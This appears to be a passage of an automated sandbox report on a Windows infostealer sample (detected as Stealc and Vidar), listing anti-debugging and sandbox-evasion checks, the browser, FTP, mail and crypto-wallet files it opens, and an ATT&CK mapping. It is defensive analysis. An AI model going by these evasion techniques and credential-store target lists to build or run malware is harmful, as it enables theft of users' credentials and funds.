Source: FIECBFID.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: FIECBFID.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: FIECBFID.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: FIECBFID.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2313614753.0000000001464000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8`I
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: FIECBFID.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: FIECBFID.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: FIECBFID.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: FIECBFID.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: FIECBFID.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: FIECBFID.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: FIECBFID.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: FIECBFID.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: FIECBFID.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: FIECBFID.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: FIECBFID.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FIECBFID.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: FIECBFID.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FIECBFID.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: FIECBFID.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58548
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58545
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59735
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58560
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58600
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58568

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C675FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C675FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_001F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9750 mov eax, dword ptr fs:[00000030h]

0_2_001F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001F7850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C64B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C64B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6160, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001F9600

Source: file.exe, file.exe, 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: eoProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64B341 cpuid

0_2_6C64B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_001F7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_001F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_001F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2082968668.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6160, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6160, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\..

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6160, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2082968668.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6160, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6160, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
